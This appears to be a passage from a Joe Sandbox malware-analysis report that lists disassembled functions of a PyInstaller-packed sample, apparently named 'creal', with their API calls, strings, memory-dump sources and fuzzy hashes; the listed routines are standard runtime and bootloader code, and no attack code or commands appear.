Opcode Fuzzy Hash: 7645c0c2d2fce03d3aab2d1fd33ee4a3925b53edade4cf92fedf68089910dc30
Instruction Fuzzy Hash: E951C326624BA186D6389F36E4581BBB7A1EB98B61F004125EBDE83694DF3CD085DB10

Function 00007FF67A6168A4 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6168E7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A616CD4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A616F70

Strings

p, xrefs: 00007FF67A616999
-, xrefs: 00007FF67A61697D
f, xrefs: 00007FF67A616A09
p, xrefs: 00007FF67A616A11
:, xrefs: 00007FF67A616AA0

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 17c3eaeb34264a701bb66d7ce4ab8a897af2982fe98c3a48157bd34433a5c608
Instruction ID: ae6cbc2ae46afe1389905dc6acca2014543bdff72d827b7ac70f99b7ae263f93
Opcode Fuzzy Hash: 17c3eaeb34264a701bb66d7ce4ab8a897af2982fe98c3a48157bd34433a5c608
Instruction Fuzzy Hash: 5D12E37FE2C24386FB209A14D0546BB7E61EB80F54F844575E68A876E4DF3CE480BB06

Function 00007FF67A611208 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A611248
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A611610
_invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6118AF

Strings

p, xrefs: 00007FF67A6112ED
p, xrefs: 00007FF67A611352
f, xrefs: 00007FF67A6112E0
f, xrefs: 00007FF67A61134A
f, xrefs: 00007FF67A611495

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction ID: 3a575b4e6549feef42dbd453bded59170d2978a5b8b8bfb704dde03e3fb0fdea
Opcode Fuzzy Hash: 7160b50ef5c5d9843a5fd5f0d5cd643ebb1f382f7049b3f2f81a6a7c29ab944c
Instruction Fuzzy Hash: 4F12B5E3E2D14385FB609A15E0442BFBA51FB40F54F888179E79AC66E4DF3DE480AB50

Function 00007FF67A6015A0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF67A601639
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67A6015D3
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67A6016C2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67A601609
fseek, xrefs: 00007FF67A601610
fread, xrefs: 00007FF67A6016C9
malloc, xrefs: 00007FF67A601640

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 9d56af8893561126369cce298ca858632f1bca0e111e0b68f57014dc206871cc
Instruction ID: d5c47ec528b86b7a0957f9aa03db427332a3aecfa460762a7b2204642eb2d122
Opcode Fuzzy Hash: 9d56af8893561126369cce298ca858632f1bca0e111e0b68f57014dc206871cc
Instruction Fuzzy Hash: 22318263B3864346EA24DB51E8509BB63A1EF04FD4F584072DF4D87AA5FE3CE585A700

Function 00007FF67A60EC00 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF67A60EC5D

Part of subcall function 00007FF67A60FB70: __GetUnwindTryBlock.LIBCMT ref: 00007FF67A60FBB3
Part of subcall function 00007FF67A60FB70: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF67A60FBD8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF67A60ED35
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF67A60EF8A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF67A60F096

Strings

csm, xrefs: 00007FF67A60ECDE
csm, xrefs: 00007FF67A60EC77
csm, xrefs: 00007FF67A60ED58

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 5b2106ab85fd7efcab108e3077ecf48f9db79865e243ba23a6eb4b146be1c4dd
Instruction ID: e91c2a6a356c227ebd1d635e4b4a83164e322ddaae32b393a81599a07d25c66e
Opcode Fuzzy Hash: 5b2106ab85fd7efcab108e3077ecf48f9db79865e243ba23a6eb4b146be1c4dd
Instruction Fuzzy Hash: 8EE18E77A3875586EB209B2594806AF77A4FB44F88F004576EE4D87BA6CF38E5C1D700

Function 00007FF67A6087B0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A608847
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A60889E

Strings

Failed to get UTF-8 buffer size., xrefs: 00007FF67A6088DF
win32_utils_to_utf8, xrefs: 00007FF67A6088D6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF67A6088C6
WideCharToMultiByte, xrefs: 00007FF67A6088E6
Out of memory., xrefs: 00007FF67A6088CF

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 946c277c1fe64d7752950c04badb497d02cc135d75d0a4af96f6f0d747498fb2
Instruction ID: 9aa077286b22a75deb2587ca0880d822f6757d50a2602f1a05d9338e16e56d4b
Opcode Fuzzy Hash: 946c277c1fe64d7752950c04badb497d02cc135d75d0a4af96f6f0d747498fb2
Instruction Fuzzy Hash: A1418F33A28B8282E620DF15B84057BB7A5FB88F90F544575DA8D87BA5EF3CD485E700

Function 00007FF67A608CF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF67A6039EA), ref: 00007FF67A608D31

Part of subcall function 00007FF67A6029E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF67A6088F2,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A602A14
Part of subcall function 00007FF67A6029E0: MessageBoxW.USER32 ref: 00007FF67A602AF0

WideCharToMultiByte.KERNEL32(?,00007FF67A6039EA), ref: 00007FF67A608DA5

Strings

Failed to get UTF-8 buffer size., xrefs: 00007FF67A608D3E
win32_utils_to_utf8, xrefs: 00007FF67A608D72
Failed to encode wchar_t as UTF-8., xrefs: 00007FF67A608DAF
WideCharToMultiByte, xrefs: 00007FF67A608D45, 00007FF67A608DB6
Out of memory., xrefs: 00007FF67A608D6B

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: df8f2b068844af15c3f6e460c074a8b6e33bcf198047290cefaa6cf113e0804d
Instruction ID: 223844c5749dc65152a10ce9a91d3541bcb7f0656ddea76ec16d314a1ea945e9
Opcode Fuzzy Hash: df8f2b068844af15c3f6e460c074a8b6e33bcf198047290cefaa6cf113e0804d
Instruction Fuzzy Hash: 32216B33A29B42C5EA10DF26E84007B76A1EF94F80B544675CB4D877E5EF3CE541A340

Function 00007FF67A6075B0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF67A607726

Part of subcall function 00007FF67A610350: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A610364

Part of subcall function 00007FF67A610324: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A610338

Strings

\, xrefs: 00007FF67A6075FC
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF67A607642
WARNING: file already exists but should not: %s, xrefs: 00007FF67A6076A8
ERROR: file already exists but should not: %s, xrefs: 00007FF67A60768C
%s%c%s, xrefs: 00007FF67A6075F5

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: eed310647cf0b76c9ed608e4a94a25af760cd3a9bab53f82cf3118da1903d891
Instruction ID: f392ef16bd8ac461b9a71a2c2b897c6a4290688a21bc88e73500a1d30914c7c3
Opcode Fuzzy Hash: eed310647cf0b76c9ed608e4a94a25af760cd3a9bab53f82cf3118da1903d891
Instruction Fuzzy Hash: EE51D467E3DA4346FA51AB25D500ABB66919F84FC0F5400B1EE4DC77F6EE2CE581AB00

Function 00007FF67A607430 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF67A6079B1,00000000,?,00000000,00000000,?,00007FF67A60154F), ref: 00007FF67A60748F

Part of subcall function 00007FF67A602B30: MessageBoxW.USER32 ref: 00007FF67A602C05

Strings

LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF67A6074EA
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF67A607466
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF67A6074A3

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 4b3c020fd13166d28c819a7d3267133a3eaacb6fee3cd099781d96b43d4de662
Instruction ID: 7429ab581c30251c70642dd34917d331fafb607c8ce6815cc18ee237ba6b4e4d
Opcode Fuzzy Hash: 4b3c020fd13166d28c819a7d3267133a3eaacb6fee3cd099781d96b43d4de662
Instruction Fuzzy Hash: FD319557B39B8281FA21EB21E5517FB5291AF98FC0F4444B1DB4EC26F6EE2CE5449A00

Function 00007FF67A60DEB8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF67A60E16A,?,?,?,00007FF67A60DE5C,?,?,00000001,00007FF67A60DA79), ref: 00007FF67A60DF3D
GetLastError.KERNEL32(?,?,?,00007FF67A60E16A,?,?,?,00007FF67A60DE5C,?,?,00000001,00007FF67A60DA79), ref: 00007FF67A60DF4B
LoadLibraryExW.KERNEL32(?,?,?,00007FF67A60E16A,?,?,?,00007FF67A60DE5C,?,?,00000001,00007FF67A60DA79), ref: 00007FF67A60DF75
FreeLibrary.KERNEL32(?,?,?,00007FF67A60E16A,?,?,?,00007FF67A60DE5C,?,?,00000001,00007FF67A60DA79), ref: 00007FF67A60DFBB
GetProcAddress.KERNEL32(?,?,?,00007FF67A60E16A,?,?,?,00007FF67A60DE5C,?,?,00000001,00007FF67A60DA79), ref: 00007FF67A60DFC7

Strings

api-ms-, xrefs: 00007FF67A60DF5D

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 9872d352a920fe7d45116cdfab482bad5ae926fb7a0a3cc3bdcd692ff81b7137
Instruction ID: 1474da1610a0a45c93a8313ec59cc3eac9096d81434b189e6e164648065eed36
Opcode Fuzzy Hash: 9872d352a920fe7d45116cdfab482bad5ae926fb7a0a3cc3bdcd692ff81b7137
Instruction Fuzzy Hash: D3318522A3B742D5EA119F22A800A772394FF48FA4F594675DE1E977A0DE3CE4959300

Function 00007FF67A608BE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

Part of subcall function 00007FF67A6029E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF67A6088F2,?,?,?,?,?,?,?,?,?,?,?,00007FF67A60101D), ref: 00007FF67A602A14
Part of subcall function 00007FF67A6029E0: MessageBoxW.USER32 ref: 00007FF67A602AF0

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608CA0

Strings

Failed to get wchar_t buffer size., xrefs: 00007FF67A608C27
win32_utils_from_utf8, xrefs: 00007FF67A608C69
Failed to decode wchar_t from UTF-8, xrefs: 00007FF67A608CAA
Out of memory., xrefs: 00007FF67A608C62
MultiByteToWideChar, xrefs: 00007FF67A608C2E, 00007FF67A608CB1

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: 887d82444744575df418bfd41b6e48fc3edc0b171f656e4d5f6c7ee70eb32595
Instruction ID: edf05ab997e448000ab98812e5315817e18ab535e336a77519e973d9ebc8a660
Opcode Fuzzy Hash: 887d82444744575df418bfd41b6e48fc3edc0b171f656e4d5f6c7ee70eb32595
Instruction Fuzzy Hash: BF216223B29A4281EB50DB2AF84016BA361FF88FC4B584575DB5CC7BB9EF6CD5819700

Function 00007FF67A61B810 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF67A61B81F
FlsGetValue.KERNEL32 ref: 00007FF67A61B834
FlsSetValue.KERNEL32 ref: 00007FF67A61B855
FlsSetValue.KERNEL32 ref: 00007FF67A61B882
FlsSetValue.KERNEL32 ref: 00007FF67A61B893
FlsSetValue.KERNEL32 ref: 00007FF67A61B8A4
SetLastError.KERNEL32 ref: 00007FF67A61B8BF

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 139d7bc547cb1cb8962b7901dc7ecb8c361af24a82b12e2272b260804a9b77c7
Instruction ID: f96a1f081ebd6bb951f0011ebb6ea75cfb0560863a2b12b441d9a5ba8f6dba44
Opcode Fuzzy Hash: 139d7bc547cb1cb8962b7901dc7ecb8c361af24a82b12e2272b260804a9b77c7
Instruction Fuzzy Hash: 12219223E2C64281FAA46771D65117B2A829F44FB0F5447B5DA3EC66FADE2CB4017341

Function 00007FF67A6286BC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF67A6286ED
GetLastError.KERNEL32 ref: 00007FF67A6286F9
CloseHandle.KERNEL32 ref: 00007FF67A628711
CreateFileW.KERNEL32 ref: 00007FF67A62873C
WriteConsoleW.KERNEL32 ref: 00007FF67A62875B

Strings

CONOUT$, xrefs: 00007FF67A62871D

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: dc1a3cb66a96e2c92b05876df44f34e6b44b08b84d7dcdae92150d4fed606b6a
Instruction ID: 3e350f231fa74a1e580fe3435c0c17f5b9c9172bc739ccfcf313a3c314f006e8
Opcode Fuzzy Hash: dc1a3cb66a96e2c92b05876df44f34e6b44b08b84d7dcdae92150d4fed606b6a
Instruction Fuzzy Hash: 2F118126A28B5286E7518F52E85432A62A0FB88FE4F044274DA6EC77F4CF7CE4458740

Function 00007FF67A61B988 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61B997
FlsSetValue.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61B9CD
FlsSetValue.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61B9FA
FlsSetValue.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61BA0B
FlsSetValue.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61BA1C
SetLastError.KERNEL32(?,?,?,00007FF67A6155CD,?,?,?,?,00007FF67A61F2BF,?,?,00000000,00007FF67A61BAA6,?,?,?), ref: 00007FF67A61BA37

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 312b5f2dcd4511434fc9e888aff7e7a4818cf3686b871577b38ae952f3f4b727
Instruction ID: 2a9d037648f12e4bd3b2bda7ed84cb0b9285c3a04b3a26dc59a0696aa9603c71
Opcode Fuzzy Hash: 312b5f2dcd4511434fc9e888aff7e7a4818cf3686b871577b38ae952f3f4b727
Instruction Fuzzy Hash: 5D119023E2C74282FA14A731D64117B29929F44FB0F4447B5EA7EC67FADE2CB4026200

Function 00007FF67A60D878 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF67A60D8A3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF67A60D938
RtlUnwindEx.KERNEL32 ref: 00007FF67A60D987

Strings

f, xrefs: 00007FF67A60D8B6
csm, xrefs: 00007FF67A60D91E

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 693f609b9fae876419381cc446d630854629708ee6e32f1efd9795666748e69d
Instruction ID: b97e1c77a06ec00afae7a34d0ccbfb263dc62665cdaf8c0e3a0d017c6bdca070
Opcode Fuzzy Hash: 693f609b9fae876419381cc446d630854629708ee6e32f1efd9795666748e69d
Instruction Fuzzy Hash: 30519133A3A602CADB14DB15D404E2B3795FB80F98F518270DB5E87798EF38E981A704

Function 00007FF67A602600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

